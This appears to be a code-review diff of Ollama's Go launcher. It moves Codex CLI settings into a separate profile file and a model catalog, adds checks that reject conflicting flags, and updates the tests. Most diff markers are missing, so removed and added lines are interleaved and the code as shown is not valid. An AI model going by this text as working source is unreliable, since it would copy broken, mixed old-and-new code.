case strings.HasPrefix(arg, "--config="):
if codexConfigOverrideConflicts(strings.TrimPrefix(arg, "--config=")) {
return fmt.Errorf("conflicting extra config %q: ollama launch codex manages provider and model catalog config", arg)
}
}
}
return nil
}
func codexManagedConfigOverrides(modelCatalogPath string) []string {
overrides := []string{
fmt.Sprintf("%s=%q", codexRootModelProviderKey, codexProfileName),
fmt.Sprintf("model_providers.%s.name=%q", codexProfileName, codexProviderName),
fmt.Sprintf("model_providers.%s.base_url=%q", codexProfileName, codexBaseURL()),
fmt.Sprintf("model_providers.%s.wire_api=%q", codexProfileName, "responses"),
}
if modelCatalogPath != "" {
overrides = append(overrides, fmt.Sprintf("%s=%q", codexRootModelCatalogJSONKey, modelCatalogPath))
}
return overrides
}
func codexConfigOverrideConflicts(value string) bool {
key, _, ok := strings.Cut(strings.TrimSpace(value), "=")
if !ok {
return false
}
key = strings.TrimSpace(key)
key = strings.Trim(key, `"'`)
switch {
case key == codexRootProfileKey,
key == codexRootModelKey,
key == codexRootModelProviderKey,
key == codexRootModelCatalogJSONKey:
return true
case strings.HasPrefix(key, "model_providers."):
return true
}
return false
}
// ensureCodexConfig writes a Codex profile file and model catalog so Codex uses
// the local Ollama server without changing app-visible root config.
func ensureCodexConfig(modelName string, models []LaunchModel) error {
configPath, err := codexConfigPath()
if err != nil {
return err
}
configPath := filepath.Join(codexDir, "config.toml")
return writeCodexProfile(configPath)
codexDir := filepath.Dir(configPath)
if err := os.MkdirAll(codexDir, 0o755); err != nil {
return err
}
if err := cleanupCodexLegacyProfileConfig(configPath); err != nil {
return err
}
catalogPath := codexModelCatalogPathForConfig(configPath)
if err := writeCodexModelCatalog(catalogPath, codexCatalogModel(modelName, models)); err != nil {
return err
}
profilePath := codexProfileConfigPathForConfig(configPath)
return writeCodexProfileConfig(profilePath, modelName, catalogPath)
}
// writeCodexProfile ensures ~/.codex/config.toml has the ollama-launch profile
// and model provider sections with the correct base URL.
func writeCodexProfile(configPath string) error {
baseURL := envconfig.Host().String() + "/v1/"
func codexConfigPath() (string, error) {
home, err := os.UserHomeDir()
if err != nil {
return "", err
}
return filepath.Join(home, ".codex", "config.toml"), nil
}
sections := []struct {
header string
lines []string
func codexModelCatalogPath() (string, error) {
configPath, err := codexConfigPath()
if err != nil {
return "", err
}
return codexModelCatalogPathForConfig(configPath), nil
}
func codexModelCatalogPathForConfig(configPath string) string {
return filepath.Join(filepath.Dir(configPath), "model.json")
}
func codexProfileConfigPath() (string, error) {
configPath, err := codexConfigPath()
if err != nil {
return "", err
}
return codexProfileConfigPathForConfig(configPath), nil
}
func codexProfileConfigPathForConfig(configPath string) string {
return codexNamedProfileConfigPathForConfig(configPath, codexProfileName)
}
func codexNamedProfileConfigPathForConfig(configPath, profileName string) string {
return filepath.Join(filepath.Dir(configPath), profileName+".config.toml")
}
func cleanupCodexLegacyProfileConfig(configPath string) error {
content, err := os.ReadFile(configPath)
if err != nil {
if os.IsNotExist(err) {
return nil
}
return err
}
text := string(content)
parsed, err := codexParseConfig(text)
if err != nil {
return err
}
updated := text
if profile, ok := parsed.RootStringOK(codexRootProfileKey); ok && profile == codexProfileName {
updated = codexRemoveRootValue(updated, codexRootProfileKey)
}
if parsed.Exists("profiles", codexProfileName) {
updated = codexRemoveSection(updated, codexProfileHeader())
}
if updated == text {
return nil
}
if err := codexValidateConfigText(updated); err != nil {
return err
}
return fileutil.WriteWithBackup(configPath, []byte(updated), "")
}
// writeCodexProfileConfig ensures ~/.codex/ollama-launch.config.toml selects
// the Ollama provider and catalog for CLI launches without changing root config.
func writeCodexProfileConfig(profilePath, model, modelCatalogPath string) error {
return writeCodexNamedProfileConfig(profilePath, codexProfileName, model, modelCatalogPath, "")
}
func writeCodexNamedProfileConfig(profilePath, profileName, model, modelCatalogPath, backupSubdir string) error {
baseURL := codexBaseURL()
var lines []string
if strings.TrimSpace(model) != "" {
lines = append(lines, fmt.Sprintf("%s = %q", codexRootModelKey, model))
}
lines = append(lines, fmt.Sprintf("%s = %q", codexRootModelProviderKey, profileName))
if strings.TrimSpace(modelCatalogPath) != "" {
lines = append(lines, fmt.Sprintf("%s = %q", codexRootModelCatalogJSONKey, modelCatalogPath))
}
text := strings.Join(lines, "\n") + "\n\n"
text += strings.Join([]string{
codexProviderHeaderFor(profileName),
fmt.Sprintf("name = %q", codexProviderName),
fmt.Sprintf("base_url = %q", baseURL),
`wire_api = "responses"`,
"",
}, "\n")
parsed, err := codexParseConfig(text)
if err != nil {
return err
}
if err := codexValidateProfileConfigText(parsed, profileName, model, modelCatalogPath, baseURL); err != nil {
return err
}
if err := os.MkdirAll(filepath.Dir(profilePath), 0o755); err != nil {
return err
}
return fileutil.WriteWithBackup(profilePath, []byte(text), backupSubdir)
}
func codexBaseURL() string {
return strings.TrimRight(envconfig.ConnectableHost().String(), "/") + "/v1/"
}
func codexProfileHeader() string {
return codexProfileHeaderFor(codexProfileName)
}
func codexProviderHeader() string {
return codexProviderHeaderFor(codexProfileName)
}
func codexProfileHeaderFor(profileName string) string {
return fmt.Sprintf("[profiles.%s]", profileName)
}
func codexProviderHeaderFor(profileName string) string {
return fmt.Sprintf("[model_providers.%s]", profileName)
}
func codexValidateProfileConfigText(config codexParsedConfig, profileName, model, modelCatalogPath, baseURL string) error {
if config.Exists("profiles", profileName) {
return fmt.Errorf("generated Codex config still contains legacy profiles.%s table", profileName)
}
for _, check := range []struct {
path []string
want string
}{
{
header: fmt.Sprintf("[profiles.%s]", codexProfileName),
lines: []string{
fmt.Sprintf("openai_base_url = %q", baseURL),
`forced_login_method = "api"`,
fmt.Sprintf("model_provider = %q", codexProfileName),
},
},
{
header: fmt.Sprintf("[model_providers.%s]", codexProfileName),
lines: []string{
`name = "Ollama"`,
fmt.Sprintf("base_url = %q", baseURL),
},
},
{[]string{"model_providers", profileName, "name"}, codexProviderName},
{[]string{"model_providers", profileName, "base_url"}, baseURL},
{[]string{"model_providers", profileName, "wire_api"}, "responses"},
} {
if got, ok := config.String(check.path...); !ok || got != check.want {
return fmt.Errorf("generated Codex config missing %s = %q", strings.Join(check.path, "."), check.want)
}
}
content, readErr := os.ReadFile(configPath)
text := ""
if readErr == nil {
text = string(content)
if got, ok := config.RootStringOK(codexRootProfileKey); ok {
return fmt.Errorf("generated Codex config still contains legacy profile = %q", got)
}
if got := config.RootString(codexRootModelProviderKey); got != profileName {
return fmt.Errorf("generated Codex config missing model_provider = %q", profileName)
}
if model != "" {
if got := config.RootString(codexRootModelKey); got != model {
return fmt.Errorf("generated Codex config missing model = %q", model)
}
}
if modelCatalogPath != "" {
if got := config.RootString(codexRootModelCatalogJSONKey); got != modelCatalogPath {
return fmt.Errorf("generated Codex config missing model_catalog_json = %q", modelCatalogPath)
}
}
return nil
}
for _, s := range sections {
block := strings.Join(append([]string{s.header}, s.lines...), "\n") + "\n"
func codexUpsertSection(text, header string, lines []string) string {
block := strings.Join(append([]string{header}, lines...), "\n") + "\n"
if idx := strings.Index(text, s.header); idx >= 0 {
// Replace the existing section up to the next section header.
rest := text[idx+len(s.header):]
if endIdx := strings.Index(rest, "\n["); endIdx >= 0 {
text = text[:idx] + block + rest[endIdx+1:]
} else {
text = text[:idx] + block
}
} else {
// Append the section.
if text != "" && !strings.HasSuffix(text, "\n") {
text += "\n"
}
if text != "" {
text += "\n"
}
text += block
if targetPath, ok := codexTableHeaderPath(header); ok {
if start, end, found := codexSectionRange(text, targetPath); found {
return text[:start] + block + text[end:]
}
}
return os.WriteFile(configPath, []byte(text), 0o644)
if text != "" && !strings.HasSuffix(text, "\n") {
text += "\n"
}
if text != "" {
text += "\n"
}
return text + block
}
func codexRemoveSection(text, header string) string {
targetPath, ok := codexTableHeaderPath(header)
if !ok {
return text
}
start, end, found := codexSectionRange(text, targetPath)
if !found {
return text
}
return text[:start] + text[end:]
}
type codexParsedConfig struct {
values map[string]any
}
func (c codexParsedConfig) String(path ...string) (string, bool) {
if len(path) == 0 {
return "", false
}
var current any = c.values
for _, part := range path {
table, ok := current.(map[string]any)
if !ok {
return "", false
}
current, ok = table[part]
if !ok {
return "", false
}
}
value, ok := current.(string)
if !ok {
return "", false
}
return value, true
}
func (c codexParsedConfig) Exists(path ...string) bool {
if len(path) == 0 {
return false
}
var current any = c.values
for _, part := range path {
table, ok := current.(map[string]any)
if !ok {
return false
}
current, ok = table[part]
if !ok {
return false
}
}
return true
}
func (c codexParsedConfig) RootString(key string) string {
value, _ := c.RootStringOK(key)
return value
}
func (c codexParsedConfig) RootStringOK(key string) (string, bool) {
return c.String(key)
}
func (c codexParsedConfig) ProfileString(profileName, key string) string {
value, _ := c.String("profiles", profileName, key)
return value
}
func (c codexParsedConfig) ProviderString(profileName, key string) string {
value, _ := c.String("model_providers", profileName, key)
return value
}
func codexRootStringValue(text, key string) string {
config, err := codexParseConfig(text)
if err != nil {
return ""
}
return config.RootString(key)
}
func codexRootStringValueOK(text, key string) (string, bool) {
config, err := codexParseConfig(text)
if err != nil {
return "", false
}
return config.RootStringOK(key)
}
func codexStringValue(text string, path ...string) (string, bool) {
config, err := codexParseConfig(text)
if err != nil {
return "", false
}
return config.String(path...)
}
func codexSectionStringValue(text, header, key string) string {
path, ok := codexTableHeaderPath(header)
if !ok {
return ""
}
value, _ := codexStringValue(text, append(path, key)...)
return value
}
func codexParseConfig(text string) (codexParsedConfig, error) {
values, err := codexParseConfigText(text)
if err != nil {
return codexParsedConfig{}, err
}
return codexParsedConfig{values: values}, nil
}
func codexParseConfigText(text string) (map[string]any, error) {
cfg := map[string]any{}
if strings.TrimSpace(text) == "" {
return cfg, nil
}
if err := toml.Unmarshal([]byte(text), &cfg); err != nil {
return nil, fmt.Errorf("invalid Codex config TOML: %w", err)
}
return cfg, nil
}
func codexValidateConfigText(text string) error {
_, err := codexParseConfig(text)
return err
}
func codexSectionRange(text string, targetPath []string) (int, int, bool) {
lines := strings.SplitAfter(text, "\n")
offset := 0
start := -1
for _, line := range lines {
trimmed := strings.TrimSpace(line)
if !strings.HasPrefix(trimmed, "[") || strings.HasPrefix(trimmed, "#") {
offset += len(line)
continue
}
if start >= 0 {
return start, offset, true
}
if path, ok := codexTableHeaderPath(trimmed); ok && codexSamePath(path, targetPath) {
start = offset
}
offset += len(line)
}
if start >= 0 {
return start, len(text), true
}
return 0, 0, false
}
func codexTableHeaderPath(header string) ([]string, bool) {
trimmed := strings.TrimSpace(header)
if !strings.HasPrefix(trimmed, "[") || strings.HasPrefix(trimmed, "[[") {
return nil, false
}
const probeKey = "__ollama_launch_probe"
cfg := map[string]any{}
if err := toml.Unmarshal([]byte(trimmed+"\n"+probeKey+" = true\n"), &cfg); err != nil {
return nil, false
}
return codexFindProbePath(cfg, probeKey, nil)
}
func codexFindProbePath(value any, probeKey string, path []string) ([]string, bool) {
table, ok := value.(map[string]any)
if !ok {
return nil, false
}
if probe, ok := table[probeKey].(bool); ok && probe {
return path, true
}
for key, child := range table {
if key == probeKey {
continue
}
if childPath, ok := codexFindProbePath(child, probeKey, append(path, key)); ok {
return childPath, true
}
}
return nil, false
}
func codexSamePath(a, b []string) bool {
if len(a) != len(b) {
return false
}
for i := range a {
if a[i] != b[i] {
return false
}
}
return true
}
func codexSetRootStringValue(text, key, value string) string {
lines := strings.SplitAfter(text, "\n")
rootEnd := len(lines)
for i, line := range lines {
if strings.HasPrefix(strings.TrimSpace(line), "[") {
rootEnd = i
break
}
}
assignment := fmt.Sprintf("%s = %q", key, value)
for i := range rootEnd {
line := lines[i]
trimmed := strings.TrimSpace(line)
if trimmed == "" || strings.HasPrefix(trimmed, "#") {
continue
}
if codexRootLineHasKey(trimmed, key) {
if strings.HasSuffix(line, "\n") {
lines[i] = assignment + "\n"
} else {
lines[i] = assignment
}
return strings.Join(lines, "")
}
}
insert := assignment + "\n"
root := strings.Join(lines[:rootEnd], "")
rest := strings.Join(lines[rootEnd:], "")
if root != "" && !strings.HasSuffix(root, "\n") {
root += "\n"
}
if rest != "" && !strings.HasSuffix(insert, "\n\n") {
insert += "\n"
}
return root + insert + rest
}
func codexRemoveRootValue(text, key string) string {
lines := strings.SplitAfter(text, "\n")
rootEnd := len(lines)
for i, line := range lines {
if strings.HasPrefix(strings.TrimSpace(line), "[") {
rootEnd = i
break
}
}
out := make([]string, 0, len(lines))
for i, line := range lines {
if i < rootEnd {
trimmed := strings.TrimSpace(line)
if trimmed != "" && !strings.HasPrefix(trimmed, "#") && codexRootLineHasKey(trimmed, key) {
continue
}
}
out = append(out, line)
}
return strings.Join(out, "")
}
func codexRootLineHasKey(line, key string) bool {
cfg := map[string]any{}
if err := toml.Unmarshal([]byte(line+"\n"), &cfg); err != nil {
return false
}
_, ok := cfg[key]
return ok
}
func codexCatalogModel(modelName string, models []LaunchModel) LaunchModel {
if model, ok := findLaunchModel(models, modelName); ok {
model.Name = modelName
return model.WithCloudLimits()
}
return fallbackLaunchModel(modelName)
}
func writeCodexModelCatalog(catalogPath string, model LaunchModel) error {
entry := buildCodexModelEntry(model)
catalog := map[string]any{
"models": []any{entry},
}
data, err := json.MarshalIndent(catalog, "", " ")
if err != nil {
return err
}
return os.WriteFile(catalogPath, data, 0o644)
}
func buildCodexModelEntry(launchModel LaunchModel) map[string]any {
modelName := launchModel.Name
contextWindow := codexFallbackContextWindow
systemPrompt := ""
if launchModel.ContextLength > 0 {
contextWindow = launchModel.ContextLength
} else if launchModel.Details.ContextLength > 0 {
contextWindow = launchModel.Details.ContextLength
}
if l, ok := lookupCloudModelLimit(modelName); ok {
contextWindow = l.Context
}
if !isCloudModelName(modelName) && launchModel.Details.Format != "safetensors" {
if ctxLen := envconfig.ContextLength(); ctxLen > 0 {
contextWindow = int(ctxLen)
}
}
modalities := []string{"text"}
if launchModel.HasCapability(model.CapabilityVision) {
modalities = append(modalities, "image")
}
truncationMode := "bytes"
if isCloudModelName(modelName) {
truncationMode = "tokens"
}
return map[string]any{
"slug": modelName,
"display_name": modelName,
"context_window": contextWindow,
"shell_type": "default",
"visibility": "list",
"supported_in_api": true,
"priority": 0,
"truncation_policy": map[string]any{"mode": truncationMode, "limit": 10000},
"input_modalities": modalities,
"base_instructions": systemPrompt,
"support_verbosity": true,
"default_verbosity": "low",
"supports_parallel_tool_calls": false,
"supports_reasoning_summaries": false,
"supported_reasoning_levels": []any{},
"experimental_supported_tools": []any{},
}
}
func checkCodexVersion() error {
@@ -138,10 +769,10 @@ func checkCodexVersion() error {
}
version := "v" + fields[len(fields)-1]
minVersion := "v0.81.0"
minVersion := "v0.134.0"
if semver.Compare(version, minVersion) < 0 {
return fmt.Errorf("codex version %s is too old, minimum required is %s, update with: npm update -g @openai/codex", fields[len(fields)-1], "0.81.0")
return fmt.Errorf("codex version %s is too old, minimum required is %s, update with: npm update -g @openai/codex", fields[len(fields)-1], "0.134.0")
}
return nil
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+618 -124
View File
@@ -1,15 +1,44 @@
package launch
import (
"context"
"encoding/json"
"fmt"
"os"
"path/filepath"
"slices"
"strings"
"testing"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/cmd/internal/fileutil"
modelpkg "github.com/ollama/ollama/types/model"
)
func TestCodexIntegration(t *testing.T) {
c := &Codex{}
t.Run("implements runner", func(t *testing.T) {
var _ Runner = c
})
t.Run("implements restore", func(t *testing.T) {
var _ RestorableIntegration = c
var _ RestoreSuccessIntegration = c
var _ RestoreInstallCheckSkipper = c
})
}
func TestCodexArgs(t *testing.T) {
c := &Codex{}
catalogPath := filepath.Join("tmp", "model.json")
managedArgs := []string{
"--profile", "ollama-launch",
"-c", fmt.Sprintf("%s=%q", codexRootModelProviderKey, codexProfileName),
"-c", fmt.Sprintf("model_providers.%s.name=%q", codexProfileName, codexProviderName),
"-c", fmt.Sprintf("model_providers.%s.base_url=%q", codexProfileName, codexBaseURL()),
"-c", fmt.Sprintf("model_providers.%s.wire_api=%q", codexProfileName, "responses"),
"-c", fmt.Sprintf("%s=%q", codexRootModelCatalogJSONKey, catalogPath),
}
tests := []struct {
name string
@@ -17,15 +46,17 @@ func TestCodexArgs(t *testing.T) {
args []string
want []string
}{
{"with model", "llama3.2", nil, []string{"--profile", "ollama-launch", "-m", "llama3.2"}},
{"empty model", "", nil, []string{"--profile", "ollama-launch"}},
{"with model and extra args", "qwen3.5", []string{"-p", "myprofile"}, []string{"--profile", "ollama-launch", "-m", "qwen3.5", "-p", "myprofile"}},
{"with sandbox flag", "llama3.2", []string{"--sandbox", "workspace-write"}, []string{"--profile", "ollama-launch", "-m", "llama3.2", "--sandbox", "workspace-write"}},
{"with model", "llama3.2", nil, append(slices.Clone(managedArgs), "-m", "llama3.2")},
{"empty model", "", nil, managedArgs},
{"with sandbox flag", "llama3.2", []string{"--sandbox", "workspace-write"}, append(append(slices.Clone(managedArgs), "-m", "llama3.2"), "--sandbox", "workspace-write")},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := c.args(tt.model, tt.args)
got, err := c.args(tt.model, catalogPath, tt.args)
if err != nil {
t.Fatal(err)
}
if !slices.Equal(got, tt.want) {
t.Errorf("args(%q, %v) = %v, want %v", tt.model, tt.args, got, tt.want)
}
@@ -33,174 +64,222 @@ func TestCodexArgs(t *testing.T) {
}
}
func TestWriteCodexProfile(t *testing.T) {
func TestCodexArgsRejectManagedProfile(t *testing.T) {
c := &Codex{}
for _, extra := range [][]string{
{"-p", "myprofile"},
{"-pmyprofile"},
{"--profile", "myprofile"},
{"--profile=myprofile"},
} {
t.Run(strings.Join(extra, " "), func(t *testing.T) {
_, err := c.args("llama3.2", "", extra)
if err == nil || !strings.Contains(err.Error(), "manages --profile") {
t.Fatalf("args error = %v, want profile conflict", err)
}
})
}
}
func TestCodexArgsRejectManagedOverrides(t *testing.T) {
c := &Codex{}
for _, extra := range [][]string{
{"-m", "other"},
{"-mother"},
{"--model", "other"},
{"--model=other"},
{"-c", `model_catalog_json="/tmp/other.json"`},
{"--config", `model_provider="openai"`},
{"--config=model_providers.ollama-launch.base_url=\"http://other.invalid/v1/\""},
} {
t.Run(strings.Join(extra, " "), func(t *testing.T) {
_, err := c.args("llama3.2", "", extra)
if err == nil {
t.Fatalf("args error = nil, want managed config conflict")
}
})
}
}
func TestWriteCodexProfileConfig(t *testing.T) {
t.Run("creates new file when none exists", func(t *testing.T) {
tmpDir := t.TempDir()
configPath := filepath.Join(tmpDir, "config.toml")
profilePath := filepath.Join(tmpDir, "ollama-launch.config.toml")
catalogPath := filepath.Join(tmpDir, "model.json")
if err := writeCodexProfile(configPath); err != nil {
if err := writeCodexProfileConfig(profilePath, "llama3.2", catalogPath); err != nil {
t.Fatal(err)
}
data, err := os.ReadFile(configPath)
data, err := os.ReadFile(profilePath)
if err != nil {
t.Fatal(err)
}
content := string(data)
if !strings.Contains(content, "[profiles.ollama-launch]") {
t.Error("missing [profiles.ollama-launch] header")
for _, want := range []string{
`model = "llama3.2"`,
`model_provider = "ollama-launch"`,
fmt.Sprintf("model_catalog_json = %q", catalogPath),
"[model_providers.ollama-launch]",
`name = "Ollama"`,
`base_url = "http://127.0.0.1:11434/v1/"`,
`wire_api = "responses"`,
} {
if !strings.Contains(content, want) {
t.Errorf("missing %q in:\n%s", want, content)
}
}
if !strings.Contains(content, "openai_base_url") {
t.Error("missing openai_base_url key")
if got, ok := codexRootStringValueOK(content, "profile"); ok {
t.Fatalf("legacy root profile should not be generated, got %q in:\n%s", got, content)
}
if !strings.Contains(content, "/v1/") {
t.Error("missing /v1/ suffix in base URL")
if strings.Contains(content, "[profiles.ollama-launch]") {
t.Fatalf("legacy profile section should not be generated, got:\n%s", content)
}
if !strings.Contains(content, `forced_login_method = "api"`) {
t.Error("missing forced_login_method key")
}
if !strings.Contains(content, `model_provider = "ollama-launch"`) {
t.Error("missing model_provider key")
}
if !strings.Contains(content, "[model_providers.ollama-launch]") {
t.Error("missing [model_providers.ollama-launch] section")
}
if !strings.Contains(content, `name = "Ollama"`) {
t.Error("missing model provider name")
if err := codexValidateConfigText(content); err != nil {
t.Fatalf("generated config should be valid TOML: %v\n%s", err, content)
}
})
t.Run("appends profile to existing file without profile", func(t *testing.T) {
t.Run("overwrites owned profile and backs up previous profile", func(t *testing.T) {
tmpDir := t.TempDir()
configPath := filepath.Join(tmpDir, "config.toml")
existing := "[some_other_section]\nkey = \"value\"\n"
os.WriteFile(configPath, []byte(existing), 0o644)
if err := writeCodexProfile(configPath); err != nil {
setTestHome(t, tmpDir)
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
if err := os.MkdirAll(filepath.Dir(profilePath), 0o755); err != nil {
t.Fatal(err)
}
existing := "# original-codex-profile-backup-marker\nmodel = \"old\"\nmodel_provider = \"old-provider\"\n"
if err := os.WriteFile(profilePath, []byte(existing), 0o644); err != nil {
t.Fatal(err)
}
data, _ := os.ReadFile(configPath)
content := string(data)
if !strings.Contains(content, "[some_other_section]") {
t.Error("existing section was removed")
}
if !strings.Contains(content, "[profiles.ollama-launch]") {
t.Error("missing [profiles.ollama-launch] header")
}
})
t.Run("replaces existing profile section", func(t *testing.T) {
tmpDir := t.TempDir()
configPath := filepath.Join(tmpDir, "config.toml")
existing := "[profiles.ollama-launch]\nopenai_base_url = \"http://old:1234/v1/\"\n\n[model_providers.ollama-launch]\nname = \"Ollama\"\nbase_url = \"http://old:1234/v1/\"\n"
os.WriteFile(configPath, []byte(existing), 0o644)
if err := writeCodexProfile(configPath); err != nil {
if err := writeCodexProfileConfig(profilePath, "llama3.2", ""); err != nil {
t.Fatal(err)
}
data, _ := os.ReadFile(configPath)
data, _ := os.ReadFile(profilePath)
content := string(data)
if strings.Contains(content, "old:1234") {
t.Error("old URL was not replaced")
}
if strings.Count(content, "[profiles.ollama-launch]") != 1 {
t.Errorf("expected exactly one [profiles.ollama-launch] section, got %d", strings.Count(content, "[profiles.ollama-launch]"))
}
if strings.Count(content, "[model_providers.ollama-launch]") != 1 {
t.Errorf("expected exactly one [model_providers.ollama-launch] section, got %d", strings.Count(content, "[model_providers.ollama-launch]"))
}
})
t.Run("replaces profile while preserving following sections", func(t *testing.T) {
tmpDir := t.TempDir()
configPath := filepath.Join(tmpDir, "config.toml")
existing := "[profiles.ollama-launch]\nopenai_base_url = \"http://old:1234/v1/\"\n[another_section]\nfoo = \"bar\"\n"
os.WriteFile(configPath, []byte(existing), 0o644)
if err := writeCodexProfile(configPath); err != nil {
t.Fatal(err)
}
data, _ := os.ReadFile(configPath)
content := string(data)
if strings.Contains(content, "old:1234") {
t.Error("old URL was not replaced")
}
if !strings.Contains(content, "[another_section]") {
t.Error("following section was removed")
}
if !strings.Contains(content, "foo = \"bar\"") {
t.Error("following section content was removed")
}
})
t.Run("appends newline to file not ending with newline", func(t *testing.T) {
tmpDir := t.TempDir()
configPath := filepath.Join(tmpDir, "config.toml")
existing := "[other]\nkey = \"val\""
os.WriteFile(configPath, []byte(existing), 0o644)
if err := writeCodexProfile(configPath); err != nil {
t.Fatal(err)
}
data, _ := os.ReadFile(configPath)
content := string(data)
if !strings.Contains(content, "[profiles.ollama-launch]") {
t.Error("missing [profiles.ollama-launch] header")
}
// Should not have double blank lines from missing trailing newline
if strings.Contains(content, "\n\n\n") {
t.Error("unexpected triple newline in output")
if strings.Contains(content, "old-provider") {
t.Fatalf("profile should be replaced, got:\n%s", content)
}
assertBackupContains(t, filepath.Join(fileutil.BackupDir(), "ollama-launch.config.toml.*"), "original-codex-profile-backup-marker")
})
t.Run("uses custom OLLAMA_HOST", func(t *testing.T) {
t.Setenv("OLLAMA_HOST", "http://myhost:9999")
tmpDir := t.TempDir()
configPath := filepath.Join(tmpDir, "config.toml")
profilePath := filepath.Join(tmpDir, "ollama-launch.config.toml")
if err := writeCodexProfile(configPath); err != nil {
if err := writeCodexProfileConfig(profilePath, "llama3.2", ""); err != nil {
t.Fatal(err)
}
data, _ := os.ReadFile(configPath)
data, _ := os.ReadFile(profilePath)
content := string(data)
if !strings.Contains(content, "myhost:9999/v1/") {
t.Errorf("expected custom host in URL, got:\n%s", content)
}
})
t.Run("uses connectable host for unspecified bind address", func(t *testing.T) {
t.Setenv("OLLAMA_HOST", "http://0.0.0.0:11434")
tmpDir := t.TempDir()
profilePath := filepath.Join(tmpDir, "ollama-launch.config.toml")
if err := writeCodexProfileConfig(profilePath, "", ""); err != nil {
t.Fatal(err)
}
data, _ := os.ReadFile(profilePath)
content := string(data)
if strings.Contains(content, "0.0.0.0") {
t.Fatalf("config should not write bind-only host, got:\n%s", content)
}
if !strings.Contains(content, "127.0.0.1:11434/v1/") {
t.Fatalf("expected connectable loopback URL, got:\n%s", content)
}
})
}
func TestEnsureCodexConfig(t *testing.T) {
t.Run("creates .codex dir and config.toml", func(t *testing.T) {
t.Run("creates .codex dir, profile config, and model catalog", func(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
if err := ensureCodexConfig(); err != nil {
if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
t.Fatal(err)
}
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
data, err := os.ReadFile(configPath)
if err != nil {
t.Fatalf("config.toml not created: %v", err)
if _, err := os.Stat(configPath); !os.IsNotExist(err) {
t.Fatalf("root config.toml should not be created by CLI config refresh, err=%v", err)
}
content := string(data)
if !strings.Contains(content, "[profiles.ollama-launch]") {
t.Error("missing [profiles.ollama-launch] header")
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
data, err := os.ReadFile(profilePath)
if err != nil {
t.Fatalf("profile config not created: %v", err)
}
if !strings.Contains(content, "openai_base_url") {
t.Error("missing openai_base_url key")
content := string(data)
if strings.Contains(content, "[profiles.ollama-launch]") {
t.Fatalf("legacy profile section should not be generated, got:\n%s", content)
}
if got := codexRootStringValue(content, "model"); got != "llama3.2" {
t.Fatalf("profile model = %q, want llama3.2 in:\n%s", got, content)
}
if got := codexRootStringValue(content, "model_provider"); got != codexProfileName {
t.Fatalf("profile model_provider = %q, want %q in:\n%s", got, codexProfileName, content)
}
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
if got := codexRootStringValue(content, "model_catalog_json"); got != catalogPath {
t.Fatalf("profile model_catalog_json = %q, want %q in:\n%s", got, catalogPath, content)
}
if got := codexSectionStringValue(content, codexProviderHeader(), "base_url"); !strings.Contains(got, "/v1/") {
t.Fatalf("provider base_url = %q, want /v1/ URL", got)
}
data, err = os.ReadFile(catalogPath)
if err != nil {
t.Fatalf("model.json not created: %v", err)
}
if !strings.Contains(string(data), `"slug": "llama3.2"`) {
t.Error("missing model catalog entry for selected model")
}
})
t.Run("writes requested local alias as catalog slug", func(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
models := []LaunchModel{
{Name: "gemma4:latest", ContextLength: 65_536, Details: api.ModelDetails{Format: "gguf"}},
}
if err := ensureCodexConfig("gemma4", models); err != nil {
t.Fatal(err)
}
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
data, err := os.ReadFile(catalogPath)
if err != nil {
t.Fatalf("model.json not created: %v", err)
}
var catalog struct {
Models []map[string]any `json:"models"`
}
if err := json.Unmarshal(data, &catalog); err != nil {
t.Fatalf("model catalog should be valid JSON: %v", err)
}
if len(catalog.Models) != 1 {
t.Fatalf("catalog model count = %d, want 1", len(catalog.Models))
}
if got := catalog.Models[0]["slug"]; got != "gemma4" {
t.Fatalf("catalog slug = %v, want gemma4", got)
}
if got := catalog.Models[0]["context_window"]; got != float64(65_536) {
t.Fatalf("context_window = %v, want 65536", got)
}
})
@@ -208,22 +287,437 @@ func TestEnsureCodexConfig(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
if err := ensureCodexConfig(); err != nil {
if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
t.Fatal(err)
}
if err := ensureCodexConfig(); err != nil {
if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
t.Fatal(err)
}
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
data, _ := os.ReadFile(configPath)
if _, err := os.Stat(configPath); !os.IsNotExist(err) {
t.Fatalf("root config.toml should not be created by CLI config refresh, err=%v", err)
}
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
data, err := os.ReadFile(profilePath)
if err != nil {
t.Fatal(err)
}
content := string(data)
if strings.Count(content, "[profiles.ollama-launch]") != 1 {
t.Errorf("expected exactly one [profiles.ollama-launch] section after two calls, got %d", strings.Count(content, "[profiles.ollama-launch]"))
if strings.Contains(content, "[profiles.ollama-launch]") {
t.Fatalf("legacy profile section should not be generated, got:\n%s", content)
}
if strings.Count(content, "[model_providers.ollama-launch]") != 1 {
t.Errorf("expected exactly one [model_providers.ollama-launch] section after two calls, got %d", strings.Count(content, "[model_providers.ollama-launch]"))
}
})
t.Run("cleans legacy root profile that conflicts with --profile", func(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
t.Fatal(err)
}
existing := "" +
`profile = "ollama-launch"` + "\n" +
`model = "gpt-5.5"` + "\n" +
`model_provider = "openai"` + "\n\n" +
"[profiles.ollama-launch]\n" +
`model = "old-local"` + "\n" +
`model_provider = "ollama-launch"` + "\n\n" +
"[profiles.default]\n" +
`model = "gpt-5.5"` + "\n"
if err := os.WriteFile(configPath, []byte(existing), 0o644); err != nil {
t.Fatal(err)
}
if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
t.Fatal(err)
}
data, err := os.ReadFile(configPath)
if err != nil {
t.Fatal(err)
}
